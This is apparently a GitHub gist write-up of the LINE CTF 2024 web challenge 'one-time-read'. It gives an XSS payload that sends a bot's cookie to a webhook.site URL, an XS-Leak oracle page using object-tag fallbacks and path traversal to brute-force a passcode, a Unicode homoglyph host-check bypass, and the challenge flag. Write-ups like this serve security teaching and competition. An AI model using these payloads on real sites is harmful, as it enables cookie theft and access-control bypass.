Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active March 30, 2024 16:16
Show Gist options
  • Save arkark/0ce615f59833a9c62467d3e932432998 to your computer and use it in GitHub Desktop.
Save arkark/0ce615f59833a9c62467d3e932432998 to your computer and use it in GitHub Desktop.
LINE CTF 2024 - web/one-time-read

LINE CTF 2024

[web] one-time-read

  • 8 solves / 305 points

Summary

  • noteId leak: document.cookie from a same-site XSS
  • passCode leak: XS-Leak by an oracle to detect HTTP status 200/404 with a LFI vulnerability
    • My oracle uses <object> and fallbacks.
  • ㎳g.line.ctf instead of msg.line.ctf

Solution

Step 1. noteId leak

If you report the following URL, you can get noteId from the cookie:

"http://bot.line.ctf/?error=" + encodeURIComponent(`<svg><svg onload="location = 'https://webhook.site/xxxxx?' + document.cookie">`)

There is a misconfiguration in docker-compose.yml:

services:
  web:
    container_name: one_time_read_web
    build:
      context: ./web
    environment:
      - DOMAIN_SUFFIX=${DOMAIN_SUFFIX}
      - BUSSINESS_NAME=${BUSINESS_NAME}
      - BOT_NAME=${BOT_NAME}
    networks:
      - one_time_read_network
# ... snip ...

BUSSINESS_NAME is a typo of BUSINESS_NAME.

give-player/web/server.js:

const BUSINESS_NAME = process.env.BUSINESS_NAME || '';
const DOMAIN_SUFFIX = process.env.DOMAIN_SUFFIX || '';
const DOMAIN = BUSINESS_NAME + DOMAIN_SUFFIX;

/* ...snip... */
      res.cookie('noteId', noteId, {
        domain: DOMAIN,
        httpOnly: false
      });

Then, the DOMAIN is not msg.line.ctf but .line.ctf and the cookie can also be accessed from a same-site bot.line.ctf.

Step 2: passCode leak

const fastify = require("fastify")();
const path = require("node:path");

fastify.register(require("@fastify/static"), {
  root: path.join(__dirname, "public"),
  prefix: "/",
});

fastify.post("/log", async (req, reply) => {
  console.log("log:", req.body);
  return "";
});

fastify.get("/detect404", async (req, reply) => {
  const { url } = req.query;
  const params = new URL(url).searchParams;
  console.log({ params });
  return "";
});

fastify.listen({ port: 8080 }, (err, address) => {
  if (err) throw err;
});

leak.html:

<head>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"></script>
</head>
<body>
  <script>
    const BASE_URL = "http://msg.line.ctf";

    const params = new URLSearchParams(location.search);

    const noteId = params.get("noteId");
    const offset = parseInt(params.get("offset"));
    const limit = parseInt(params.get("limit"));

    const passCodes = [];

    const chars = "LINECTF";
    const emojis = [">.<", ">,<"];
    for (let i = 0; i < chars.length ** 4; i++) {
      let i2 = i;
      let prefix = "";
      for (let j = 0; j < 4; j++) {
        prefix += chars[i2 % chars.length];
        i2 = (i2 / chars.length) | 0;
      }
      passCodes.push(prefix + emojis[0], prefix + emojis[1]);
    }

    const md5 = (x) => CryptoJS.MD5(x).toString();

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const check = (passCodes) => {
      const reportUrl = `${location.origin}/detect404?url=${encodeURIComponent(
        location.href
      )}`;

      // ref. https://book.hacktricks.xyz/pentesting-web/xs-search#onload-onerror
      let html = "";
      for (const passCode of passCodes) {
        const filename = md5(passCode).substring(10);
        const url = `${BASE_URL}/public/%2e%2e%2fnotes/${noteId}/${filename}`;
        html += `<object data="${url}">`;
      }
      html += `<object data="${reportUrl}"></object>`;
      for (const passCode of passCodes) {
        html += `</object>`;
      }

      document.body.innerHTML += html;
    };

    const main = () => {
      navigator.sendBeacon(`${location.origin}/log`, `begin: ${params}`);
      setTimeout(() => {
        navigator.sendBeacon(`${location.origin}/log`, `end: ${params}`);
      }, 22000);
      check(passCodes.slice(offset, offset + limit));
    };
    main();
  </script>
</body>

If you report the following URL, you can judge if or not the passCode set (offset: 400, limit: 200) includes the bot's passCode:

"http://bot.line.ctf/?error=" + encodeURIComponent(`<meta http-equiv="Refresh" content="0; URL=${"http://attacker.example.com/leak.html?" + new URLSearchParams({ noteId: "78f42911-767b-42b5-8e78-d6963b34c73e", offset: "400", limit: "200" })}">`)

Step 3. bypass

If you report the following URL, you can get a flag:

"http://㎳g.line.ctf/read?" + new URLSearchParams({ passCode: "NLCN>.<", noteId: "78f42911-767b-42b5-8e78-d6963b34c73e", next: "https://webhook.site/xxxxx"})

I used the character (U+33B3) to bypass the following check in give-player/bot/server.js:

    let regex = new RegExp(`^.*${process.env.BUSINESS_NAME.substring(1)}.*$`, "gi");
    if (!host.endsWith(process.env.DOMAIN_SUFFIX) || host.match(regex)) {
        return res.redirect(`/?error=${encodeURIComponent('Forbidden host')}`);
    }

Flag

LINECTF{998c14a3e9e01fceb81b2411030d5205}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment